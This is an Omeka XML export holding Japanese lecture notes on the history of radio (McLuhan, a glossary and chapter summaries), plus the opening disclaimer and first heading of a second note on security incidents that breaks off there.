&lt;div&gt;&lt;span&gt;- **メディアの特性**: マーシャル・マクルーハンは、「メディアはメッセージである」と主張した（出典：Marshall McLuhan, "Understanding Media: The Extensions of Man", 1964年、日本語版：『メディア論』、みすず書房、1987年、pp. 23-45）。ラジオの特性（音声のみ、リアルタイム性、聴覚性）が、社会に与える影響を分析した。マクルーハンは、ラジオが「部族化」を促進し、感情的な一体感を生み出すと指摘した。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **熱いメディアと冷たいメディア**: マクルーハンは、ラジオを「熱いメディア」（情報量が多い）として分類した。しかし、視覚情報がないため、「冷たいメディア」の側面も持つとされた。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **グローバル・ビレッジ**: ラジオは、地理的な距離を縮め、「グローバル・ビレッジ」の形成に貢献したとされた。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 22. 結論と今後の展望&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 22.1 ラジオの歴史的意義&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ラジオは、19世紀後半から20世紀初頭にかけて発展した電磁気学の理論的基盤の上に成立し、単なる通信技術から大衆メディアへと発展しました。ラジオの大衆化は、技術的進歩、商業化、規制、社会文化的変化など、複数の要因が相互作用した結果として実現しました。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 22.2 現代への示唆&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ラジオの発展過程は、現代のデジタルメディアの発展と多くの類似点を持っています。技術的進歩、大衆化、規制、商業化などのプロセスは、現代のメディア環境にも見られます。ラジオの歴史から学ぶべき教訓は、メディアの適切な規制、公共性と商業性のバランス、情報アクセスの民主化などです。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 22.3 今後の展望&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ラジオは、100年以上の歴史を持つメディアですが、現代でも重要な役割を果たしています。デジタル技術の発展により、ラジオは新しい形で進化を続けています。ポッドキャスト、インターネットラジオ、デジタルラジオなど、ラジオの新しい形態が登場し、音声メディアとしての可能性がさらに拡大しています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 23. 用語集&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;本稿で使用される主要な専門用語をアルファベット順・五十音順に整理しました。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 23.1 技術用語&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### あ行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **アンテナ（Antenna）**: 電磁波を送受信するための導体。送信アンテナは高周波電流を電磁波に変換し、受信アンテナは電磁波を電流に変換する。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **AM（Amplitude Modulation、振幅変調）**: 音声信号を高周波の搬送波の振幅を変化させることで伝送する変調方式。535-1705 kHzの周波数帯域を使用。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### か行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **検波（Detection）**: 高周波の電磁波から音声信号（低周波）を取り出す過程。鉱石ラジオでは鉱石の整流作用を、真空管ラジオでは真空管の非線形特性を利用。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **鉱石ラジオ（Crystal Radio）**: 鉱石検波器を使用した初期のラジオ受信機。電源不要で動作するが、感度が低く、放送局から近い場所でないと受信が困難。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **同調回路（Tuning Circuit）**: 特定の周波数の電波のみを選択する回路。コイル（インダクタンス）とコンデンサー（キャパシタンス）を組み合わせたLC共振回路を使用。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### さ行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **周波数（Frequency）**: 電磁波が1秒間に振動する回数。単位はヘルツ（Hz）。ラジオ放送では、中波（AM: 535-1705 kHz）と超短波（FM: 88-108 MHz）が使用される。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **周波数変調（FM、Frequency Modulation）**: 音声信号を高周波の搬送波の周波数を変化させることで伝送する変調方式。AMよりも雑音に強く、高音質だが、占有周波数帯域が広い。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **真空管（Vacuum Tube）**: 電子を真空中で制御する電子素子。ラジオでは、信号の増幅や検波に使用された。三極真空管（オーディオン）の発明により、ラジオ技術が飛躍的に発展。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### た行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **電磁波（Electromagnetic Wave）**: 電場と磁場が相互に作用しながら空間を伝播する波動現象。光速（約30万km/s）で伝播し、物理的な導線を必要としない。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **電磁誘導（Electromagnetic Induction）**: 磁場の変化が電流を生み出す現象。マイケル・ファラデーが1831年に発見し、電磁気学の基礎を確立。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **同調（Tuning）**: 受信機を特定の周波数に合わせること。同調回路により、目的の放送局の電波のみを選択する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### は行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **搬送波（Carrier Wave）**: 音声信号を運ぶ高周波の電磁波。AMでは振幅を、FMでは周波数を変化させることで音声信号を伝送。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **変調（Modulation）**: 音声信号を高周波の搬送波に乗せる過程。振幅変調（AM）と周波数変調（FM）の2つの方式がある。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **放送（Broadcasting）**: 不特定多数の人々に情報を同時に伝達すること。ラジオ放送は、情報を電磁波として送信し、受信機で受信する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ま行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **マクスウェル方程式（Maxwell's Equations）**: 電場と磁場の関係を数学的に記述する4つの方程式。ジェームズ・クラーク・マクスウェルが1864年に提唱し、電磁波の存在を理論的に予測。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **モールス信号（Morse Code）**: 短点（・）と長点（－）の組み合わせで文字や数字を表現する符号体系。リアルタイムで情報を伝達できるが、情報量が限定的。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 23.2 歴史・社会用語&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### あ行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **アマチュア無線（Amateur Radio）**: 趣味や研究目的で行う無線通信。双方向通信（送信と受信の両方が可能）を特徴とする。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **RCA（Radio Corporation of America）**: 1919年に設立されたアメリカの国策会社。ラジオ技術の特許を統合し、ラジオ産業の一元化を推進。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### か行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **KDKA**: 1920年11月2日に開局した世界初の商業ラジオ局。アメリカ・ペンシルベニア州ピッツバーグに所在。1920年の大統領選挙の開票速報を放送。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### さ行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **周波数割り当て（Frequency Allocation）**: 電波の混信を防ぐため、用途ごとに周波数帯を割り当てること。1920-1930年にかけて、無線通信とラジオ放送の周波数が分離された。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### た行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **大衆消費社会（Mass Consumption Society）**: 大多数の一般市民（大衆）が消費活動の主役となり、日常的に多様な商品やサービスを購入・享受する社会構造。20世紀以降、大量生産・大量流通により成立。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### は行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **FCC（Federal Communications Commission）**: 1934年に設立された連邦通信委員会。ラジオ・テレビ・電話などの通信規制を担当。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **FRC（Federal Radio Commission）**: 1927年に設立された連邦ラジオ委員会。ラジオ放送の規制を本格化。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ま行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **マスメディア（Mass Media）**: 不特定多数の人々に情報を同時に伝達するメディア。ラジオは、リアルタイム性と聴覚性を特徴とするマスメディアとして成立。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 23.3 人物&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **グリエルモ・マルコーニ（Guglielmo Marconi, 1874-1937）**: イタリアの発明家。無線電信を実用化し、1909年にノーベル物理学賞を受賞。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **リー・ド・フォレスト（Lee de Forest, 1873-1961）**: アメリカの発明家。三極真空管（オーディオン）を発明（1906年）。「ラジオの父」とも呼ばれる。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **デイヴィッド・サーノフ（David Sarnoff, 1891-1971）**: RCAの初代社長。ラジオ放送の商業化を推進。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **マイケル・ファラデー（Michael Faraday, 1791-1867）**: イギリスの物理学者。電磁誘導の法則を発見（1831年）。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **ジェームズ・クラーク・マクスウェル（James Clerk Maxwell, 1831-1879）**: イギリスの物理学者。電磁波の存在を理論的に予測（1864年）。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **ハインリヒ・ヘルツ（Heinrich Hertz, 1857-1894）**: ドイツの物理学者。電磁波の存在を実験的に証明（1888年）。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 24. 各章のまとめ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第1章：ラジオ技術の科学的基礎&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオ技術は、19世紀後半から20世紀初頭にかけて発展した電磁気学の理論的基盤の上に成立&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ファラデー、マクスウェル、ヘルツの貢献により、電磁波の理論と実証が確立&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 電信・電話からラジオへの進化は、有線通信から無線通信への技術的転換点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 電磁誘導、電磁波、周波数、波長&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第2章：軍事技術としての無線通信&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 電信・無線通信は、特に海軍で重要な通信手段として使用された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- モールス信号はリアルタイム性を持つが、情報量が限定的&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 退役軍人がアマチュア無線家として活動し、ラジオ技術の発展に貢献&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- モールス信号、アマチュア無線、双方向通信&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第3章：ラジオの商品化と大衆化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 組み立て式ラジオキットの商品化により、一般家庭でもラジオを組み立てることが可能になった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 玩具としてのラジオや教育用キットが登場し、科学教育のツールとしても機能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオの大衆化は、技術の民主化と教育の普及を促進&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 組み立て式キット、教育用キット、大衆化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第4章：ラジオ技術の進化：鉱石ラジオから真空管ラジオへ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 鉱石ラジオは電源不要で動作するが、感度が低く、音質が劣る&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 真空管ラジオは増幅機能により、より遠距離からの受信と良好な音質を実現&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1920年代から1930年代にかけて、鉱石ラジオから真空管ラジオへの移行が進んだ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 鉱石検波器、真空管、増幅、検波&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第5章：アマチュア無線コミュニティの形成&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- アマチュア無線家たちは、同じ周波数帯で通信を行うことで、コミュニティを形成&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- レコードの遠隔共有など、一方通行のコミュニケーションが行われた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この一方通行のコミュニケーションは、後のラジオ放送の原型となった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- コミュニティ形成、一方通行コミュニケーション、放送の原型&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第6章：ラジオ放送の商業化：1920年KDKAの開局&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1920年、KDKAが世界初の商業ラジオ局として開局&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオ放送は、情報を不特定多数の人々に同時に伝達することを可能にし、マスメディアとして成立&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオによる選挙報道は、有権者の関心を高め、投票率の向上に寄与&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- KDKA、商業ラジオ局、マスメディア、リアルタイム性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第7章：周波数の割り当てと規制：混線問題の解決&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオの普及により、混線（干渉）問題が発生&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1920-1930年にかけて、無線通信とラジオ放送の周波数が分離された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 規制機関（FRC、FCC）の設立により、ラジオ放送の規制が本格化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 混線、周波数割り当て、FRC、FCC&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第8章：RCAの設立とラジオ産業の統合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1919年、RCAが国策会社として設立され、ラジオ技術の特許を統合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 無線通信とラジオ放送が明確に分離され、ラジオ放送の商業的発展が可能になった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオは単なる通信技術から、メディアとしての機能を持つようになった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- RCA、国策会社、産業統合、メディア化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第9章：大衆消費社会とラジオの普及&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 大衆消費社会の成立により、中流階級が拡大し、ラジオが一般家庭に普及&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 自動車や家電製品と同様に、ラジオも大量生産により低価格化が実現&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- カーラジオの普及により、ラジオは移動中にも楽しめるメディアとなった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 大衆消費社会、中流階級、カーラジオ、消費文化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第10章：ラジオドラマとエンターテイメント&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオドラマは、音声のみで物語を伝える放送形式として発展&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 「宇宙戦争」（1938年）事件は、ラジオメディアの影響力の大きさを実証&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、情報伝達のメディアから、エンターテイメント（娯楽）としての機能を持つメディアへと発展&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオドラマ、エンターテイメント、メディア効果理論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第11章：新聞とラジオ：メディアの比較分析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、リアルタイム性と聴覚性を特徴とする&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 新聞は、正確性、視覚性、既報性（記録性）を特徴とする&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオと新聞は、それぞれ異なる強みを持ち、補完的な関係にある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- リアルタイム性、聴覚性、正確性、視覚性、既報性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第12章：日本のラジオ普及：国主導の展開&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 日本のラジオ普及は、初期から国主導で進められた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1925年、NHKが設立され、公共放送としてラジオ放送を開始&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ヨーロッパ・アメリカは市場原理による普及、日本は国主導による普及という違いがある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- NHK、公共放送、国主導、市場原理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 第13章：ラジオの社会的影響と現代への示唆&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 要点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- ラジオは、情報アクセスの民主化、大衆文化の形成、エンターテイメント産業の発展に貢献&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ラジオの発展過程は、現代のデジタルメディアの発展と多くの類似点を持つ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- メディアの適切な規制、公共性と商業性のバランスが重要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 重要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 情報アクセスの民主化、大衆文化、メディア規制、公共性と商業性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1917">
                <text>情報文化論８</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1918">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="40">
            <name>Date</name>
            <description>A point or period of time associated with an event in the lifecycle of the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1919">
                <text>2025-11-13</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1920">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="124" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1916">
              <text>&lt;div&gt;
&lt;div&gt;&lt;span&gt;# 情報セキュリティ事件とサーバーセキュリティ技術&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**最終更新日**&lt;/span&gt;&lt;span&gt;: 2025-11-12  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;**作成目的**&lt;/span&gt;&lt;span&gt;: 教育・研究・技術共有&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 免責事項&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;本資料は、情報セキュリティ事件の技術的分析とサーバーセキュリティ技術に関する教育・研究目的で作成されたものです。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 記載内容の正確性については、公式発表や一次資料を必ず参照してください&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 事件の詳細や最新情報は、各企業・組織の公式サイトやプレスリリースでご確認ください&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 本資料の内容に基づくいかなる損害についても、作成者は責任を負いません&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 技術情報については、最新のRFCや公式ドキュメントを参照することを推奨します&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 1. アスクルのランサムウェア攻撃による情報流出（2023～2024年の最新動向）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
